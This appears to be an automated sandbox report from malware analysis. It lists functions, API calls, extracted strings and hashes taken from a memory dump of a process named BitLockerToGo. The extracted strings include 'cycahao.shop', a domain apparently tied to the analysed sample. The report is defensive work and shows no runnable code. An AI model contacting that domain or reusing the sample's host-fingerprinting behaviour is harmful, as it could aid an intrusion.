SysAllocString.OLEAUT32(4C0E4A1A), ref: 00486D9A
VariantInit.OLEAUT32 ref: 00486E0D

Strings

>? !, xrefs: 004871D0
1q5, xrefs: 00486AF9
\, xrefs: 00486B82
:f4x, xrefs: 00486D45
_n, xrefs: 00486D35
, xrefs: 00486980, 004869C0, 00486E08, 00486E0C, 00486EAE, 004870C2
#b:d, xrefs: 00486D3D
yz, xrefs: 00486D4D
eF}X, xrefs: 00486D05

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: AllocString$BlanketCreateInitInstanceProxyVariant
String ID: #b:d$:f4x$>? !$\$_n$eF}X$yz$1q5$
API String ID: 65563702-121217271
Opcode ID: 230883d210a754b78815678d7b70d9a19f49edd4fe69013b8ee4e8d2c80050a8
Instruction ID: ecfa94fa8882405c972a35337ebfc6326c0405000f3a25aaa043d9622a307ff2
Opcode Fuzzy Hash: 230883d210a754b78815678d7b70d9a19f49edd4fe69013b8ee4e8d2c80050a8
Instruction Fuzzy Hash: 453231726083518BD314DF28C8917AFBBE1EBC5314F248E2EE5A19B391D778D905CB86

Function 0045AEC0 Relevance: 18.0, Strings: 14, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pE}G, xrefs: 0045B016
hI2K, xrefs: 0045B020
Gq\s, xrefs: 0045B084
9]_, xrefs: 0045B052
zMzO, xrefs: 0045B02A
yQrS, xrefs: 0045B034
Ym]o, xrefs: 0045B07A
k=W?, xrefs: 0045B002
Gu@w, xrefs: 0045B08E
S%U', xrefs: 0045AFC6
D!M#, xrefs: 0045AFBC
XyR{, xrefs: 0045B098
(Y6[, xrefs: 0045B048
.AtC, xrefs: 0045B00C

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: (Y6[$.AtC$9]_$D!M#$Gq\s$Gu@w$S%U'$XyR{$Ym]o$hI2K$k=W?$pE}G$yQrS$zMzO
API String ID: 0-751836444
Opcode ID: 08cde2f563782f099d4cdd0886a625a3eb76995293a53975246304204ca6f674
Instruction ID: f4b12276fecbfecfe76a1e48bb24331f8fea06872b2b6b5b5d97e79255cd4c73
Opcode Fuzzy Hash: 08cde2f563782f099d4cdd0886a625a3eb76995293a53975246304204ca6f674
Instruction Fuzzy Hash: 8A1248B1100B01DFD3348F65E995B97BBF1FB55314F008A2DD5AA8BA90C774A849CF94

Function 00465890 Relevance: 15.1, APIs: 1, Strings: 7, Instructions: 1099COMMON

Download Yara Rule

Strings

I\] , xrefs: 00466432
"'QQ, xrefs: 00466427
a}eb, xrefs: 00465FD3
dosh, xrefs: 00466411
`c^Q, xrefs: 00466025
ye}z, xrefs: 00465FE9
`l"(, xrefs: 0046641C

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "'QQ$I\] $`c^Q$`l"($a}eb$dosh$ye}z
API String ID: 0-3808399728
Opcode ID: 707b1d2be32c108fb4043fcd26a5819e930746b22a361ef14051408116ce2ffe
Instruction ID: 5e29ebb6e0e49f297d7499081b05086009edbe9e6c3c68f3efed8d50f5f07d54
Opcode Fuzzy Hash: 707b1d2be32c108fb4043fcd26a5819e930746b22a361ef14051408116ce2ffe
Instruction Fuzzy Hash: 1B6214B19093408FC720DF29D8957ABB7E1EF95314F154A2EE4C987391EB389805CB9B

Function 0047B824 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0047B92D
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0047B967
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0047BA53

Strings

1ako, xrefs: 0047BE91
x^T1, xrefs: 0047BA90, 0047BADD, 0047BBE1
iJ, xrefs: 0047B86C
MCIZ, xrefs: 0047BC72
x^T1, xrefs: 0047B9CE

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: 1ako$MCIZ$iJ$x^T1$x^T1
API String ID: 2243422189-3557654919
Opcode ID: 8b416d4aa90c12023953fcbac34bc9b350b4be492ac514c03eb8d3f86ff73edf
Instruction ID: 91d9614ebf53b3cfd3a1b4514c1b200957fc8ab57354ae047abcaa5ca3094af7
Opcode Fuzzy Hash: 8b416d4aa90c12023953fcbac34bc9b350b4be492ac514c03eb8d3f86ff73edf
Instruction Fuzzy Hash: 2AE1D2615083D18AD7358B3984507EBBBD1DFE2304F18C9AED4CD97382DB79490ACBA6

Function 0045DA13 Relevance: 13.8, APIs: 1, Strings: 8, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0045DA28

Strings

+234, xrefs: 0045DD40
WTF,, xrefs: 0045DADF
]^, xrefs: 0045DD8D
YPED, xrefs: 0045DAEA
4/2%, xrefs: 0045DB0B
hlb:, xrefs: 0045DB16
Z\, xrefs: 0045DD85
cycahao.shop, xrefs: 0045DDF8

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: Uninitialize
String ID: +234$4/2%$WTF,$YPED$]^$cycahao.shop$hlb:$Z\
API String ID: 3861434553-2591049864
Opcode ID: 2bf70a7a9b50058f25a24e7ab1169372ccc6be70f80b37519c46b85f3fc5b444
Instruction ID: d206830ab9a6a14273a75bd0de34779af5684cb2176accc75286da81e8537321
Opcode Fuzzy Hash: 2bf70a7a9b50058f25a24e7ab1169372ccc6be70f80b37519c46b85f3fc5b444
Instruction Fuzzy Hash: 6391ACB050D3D18AD3368F2984903EBBFE2AFE6305F18499ED4C99B252C775450ACB5B

Function 00471620 Relevance: 13.0, Strings: 10, Instructions: 550
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 0047184E
&, xrefs: 00471A6F
!@, xrefs: 00471656
#, xrefs: 00471A60
7, xrefs: 004718F2
@, xrefs: 00471849
,, xrefs: 00471B81
B, xrefs: 00471853
), xrefs: 004718E8
$, xrefs: 00471A6A

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapInitializeThunk
String ID: !@$#$$$&$)$,$7$@$A$B
API String ID: 383220839-937713689
Opcode ID: 1cdd0fc11fa7d295e9b8c1af0567672f55ad50737467b3e242a4873220730e1e
Instruction ID: 6cd0bc7f9e7fd4489cd91017820840675101a777c822517eca40cc19b87c2bfd
Opcode Fuzzy Hash: 1cdd0fc11fa7d295e9b8c1af0567672f55ad50737467b3e242a4873220730e1e
Instruction Fuzzy Hash: 3822B37160C3808FD3258B7CC4913AFBBE1ABC5314F198A2EE5DA873A1D6799845CB47

Function 004732A0 Relevance: 12.8, APIs: 1, Strings: 6, Instructions: 519
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x, xrefs: 00473602
JY, xrefs: 00473740
^E, xrefs: 00473750
jk, xrefs: 004732E5
7`, xrefs: 00473924
R\, xrefs: 004737FE, 00473802

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 7`$JY$R\$^E$jk$x
API String ID: 0-4150650586
Opcode ID: 0b3b7a2dea9d9a1fff0b63f0730be3ebc17df7a061a20586c4ef19ee2bba984f
Instruction ID: 0f9aee5eaccdeb1128313160a464f13413844146e5bdf2993e0bf8d3e0c0deeb
Opcode Fuzzy Hash: 0b3b7a2dea9d9a1fff0b63f0730be3ebc17df7a061a20586c4ef19ee2bba984f
Instruction Fuzzy Hash: 59F1FDB15083408FE310DF65D88266BBBE0FFD1308F14892DF58A9B351E7788906CB8A

Function 0047B81F Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 525
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0047B967
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0047BA53

Strings

1ako, xrefs: 0047BE91
x^T1, xrefs: 0047BA90, 0047BADD, 0047BBE1
MCIZ, xrefs: 0047BC72
x^T1, xrefs: 0047B9CE

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: 1ako$MCIZ$x^T1$x^T1
API String ID: 3545744682-2754304666
Opcode ID: f6d699ad153a1666f4889418185208ccf478daac2b827af47026549310f6a568
Instruction ID: e506da902619c15d0d51c37a3d0ec4bb1b5b0510d8d83be76a3d211fe78a897e
Opcode Fuzzy Hash: f6d699ad153a1666f4889418185208ccf478daac2b827af47026549310f6a568
Instruction Fuzzy Hash: 0EE1F4616183C18AD7258B3984517EBBBD1DFE2304F18C96ED4CD87382D778890AD7A6

Function 004817B8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00481806
GetSystemMetrics.USER32 ref: 00481815

Strings

, xrefs: 004818E9

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 4f991b31ed84108a1a6487319c1017f372c1f1698659ce3167e9dff46e301b60
Instruction ID: ea642c7d3bd6098ba79d56dd32afeec97f815400338bc7ebfe3a729ab0d587c9
Opcode Fuzzy Hash: 4f991b31ed84108a1a6487319c1017f372c1f1698659ce3167e9dff46e301b60
Instruction Fuzzy Hash: 025183B0E152049FDB40EFACD981A9DBBF0BF48310F11866AE498E7350D734A944CF96

Function 0046CA00 Relevance: 4.4, Strings: 3, Instructions: 619
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vw, xrefs: 0046CAEB
+, xrefs: 0046CCDF
jk, xrefs: 0046CE9D

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: +$jk$vw
API String ID: 0-3558127645
Opcode ID: 315db3748b672e086d95004ea4f42768632c02c0723a820faace47aa673cd5ab
Instruction ID: 4fdf0a7f2bb95e58eab4c2e23896c84b5e983f8f40fef0a9b06fff7cb3c64489
Opcode Fuzzy Hash: 315db3748b672e086d95004ea4f42768632c02c0723a820faace47aa673cd5ab
Instruction Fuzzy Hash: 0812137290C3408BC704DF65C8916ABBBF2EFD6314F09886DE4D58B391E6798909CB97

Function 0048E3C0 Relevance: 1.6, Strings: 1, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

DGHI, xrefs: 0048E5B0

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: DGHI
API String ID: 2994545307-2001188618
Opcode ID: a7f732834ffaf124636f4f382547db7445925427be9e48816f98258936f3d04e
Instruction ID: c377e218220d282f05b7a4a2c47500d0c59c8a4e80c33aadd967a31c4a449af5
Opcode Fuzzy Hash: a7f732834ffaf124636f4f382547db7445925427be9e48816f98258936f3d04e
Instruction Fuzzy Hash: F2A185726083108FC728EF25C88096FB7A2EBE6304F198D3DE98257355EB35AC05C796

Function 0048AFD0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00489B85,?,00000010,00000000,?,00000018,?,?,?,?,?,?,?,00000000), ref: 0048AFFE

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0048D3C0 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

@, xrefs: 0048D489

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 55be1cce2c910f092cd308746bb46f2edfc01afcac34b89b5309391d1406a3e0
Instruction ID: 2069a60fc85404fa121b9b08a77deab8cc97003c1011a7304f3312712956f116
Opcode Fuzzy Hash: 55be1cce2c910f092cd308746bb46f2edfc01afcac34b89b5309391d1406a3e0
Instruction Fuzzy Hash: 4C4159B29063109BC714DF28C84166FB7A2FFC5318F158A2EE8955B3C1D738AD05C786

Function 0047C67D Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

GJM3, xrefs: 0047C693

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: GJM3
API String ID: 2994545307-2693654480
Opcode ID: c2bc226a3961892b97416747084f76d2ccace0fee570d21323f3ba7784cc76c3
Instruction ID: 1271e48e4c133060cf15210f072e571b98c33e26d73df6bf8f7cd38030fb50e1
Opcode Fuzzy Hash: c2bc226a3961892b97416747084f76d2ccace0fee570d21323f3ba7784cc76c3
Instruction Fuzzy Hash: 6231D8741083814BE7698B3858E17BBBBE19F97315F28897DD0CE8B392DB355845CB09

Function 0046F790 Relevance: .6, Instructions: 630COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38261cc735861fbdd88d2000c2f806e9395a79578483032bbe7b149c62570012
Instruction ID: ba0a3e8c5f04431279f0ffa3baa00b19fb30dcdd6b7c7a58a299bf23672b2dbc
Opcode Fuzzy Hash: 38261cc735861fbdd88d2000c2f806e9395a79578483032bbe7b149c62570012
Instruction Fuzzy Hash: D8526AB0609B818ED3258F3C8815797BFD5AB5B324F148A6EA0FE873D2C7756101CB66

Function 00487500 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e5722060427a27380265e6bf6cffebcd19a0928a8642c930466b2e8bfaae4abf
Instruction ID: 928d84de5f5446004bfcaba00d228487210a7c0ac4a04698b5fca005f4656c32
Opcode Fuzzy Hash: e5722060427a27380265e6bf6cffebcd19a0928a8642c930466b2e8bfaae4abf
Instruction Fuzzy Hash: A7C13872A083114BE718EE248C9173FB7A2ABD5314F288E3EE5A657351D739EC01C799

Function 00475E00 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 398f21818c89d6ff29d2a017a7e96675d5f981a416108cbb10ebe9484daa01fb
Instruction ID: f8e1bdf0dd448568376a14a625da659fd21aa1e3bb1fae33c6517100f16624e0
Opcode Fuzzy Hash: 398f21818c89d6ff29d2a017a7e96675d5f981a416108cbb10ebe9484daa01fb
Instruction Fuzzy Hash: CF714BB16047004BD7249F349C82BBF73A6DBD1318F19C53EE84A5B392E67D9C09875A

Function 0048DA40 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c4ab0a9c55f3ab5e0a0694ab7d34786f73a0f4d8b3be6ee0456e18111c2b004a
Instruction ID: 43f8e81aaeb7cbe2869028f15bc6a144c8b042c8a1f2ede789f8ddb707ad8acd
Opcode Fuzzy Hash: c4ab0a9c55f3ab5e0a0694ab7d34786f73a0f4d8b3be6ee0456e18111c2b004a
Instruction Fuzzy Hash: E4814635A053119BD724EF28C880A6FB3A2FFD5340F15C92EE4868B394DB74AC14D78A

Function 004897E0 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 53ddf43a139e5153bdb876e427c0ac12c0813785c1a1a19694b5c8797f5b20b9
Instruction ID: 7b5872222cd48303d1b01ab4b0ec451f5d8523d1bfbb8ac350931bc692acd10e
Opcode Fuzzy Hash: 53ddf43a139e5153bdb876e427c0ac12c0813785c1a1a19694b5c8797f5b20b9
Instruction Fuzzy Hash: A8615C76A046108FD724EF29CC80A3FB3A2EBD5714F1E893ED586AB341D635AC01C799

Function 0045E6F2 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e8d24c377f8db7a9cfe85756fd1990a430c0911c02fb4bbb2ffbbb7b9d8269e
Instruction ID: 0158569c66b7e6969d3c57d797b42dfedae0ce0a1fd6af4637501fc962208989
Opcode Fuzzy Hash: 3e8d24c377f8db7a9cfe85756fd1990a430c0911c02fb4bbb2ffbbb7b9d8269e
Instruction Fuzzy Hash: 3B4159757046105BE629A72158127BF3311AF9931DF04023EE84B27383DB2D6E1B86DF

Function 0048D640 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d6c65acd3653b84d232afa4b9557a6a8a5206b52c21188a0e01b6b6768659cbd
Instruction ID: e1acbddb64c3ec3edca177c264d1f6bb1ec8a654ea992703d7d109096a258b92
Opcode Fuzzy Hash: d6c65acd3653b84d232afa4b9557a6a8a5206b52c21188a0e01b6b6768659cbd
